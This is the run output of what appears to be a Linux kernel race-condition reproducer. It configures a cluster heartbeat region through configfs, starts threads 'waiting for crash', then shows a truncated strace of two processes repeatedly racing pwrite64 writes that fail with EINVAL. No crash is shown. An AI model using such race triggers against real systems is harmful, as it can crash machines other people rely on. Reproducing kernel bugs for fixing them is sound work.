[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[ 71.554541][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.557436][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
TruncatedCrashReport: TruncatedStraceOutput:[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
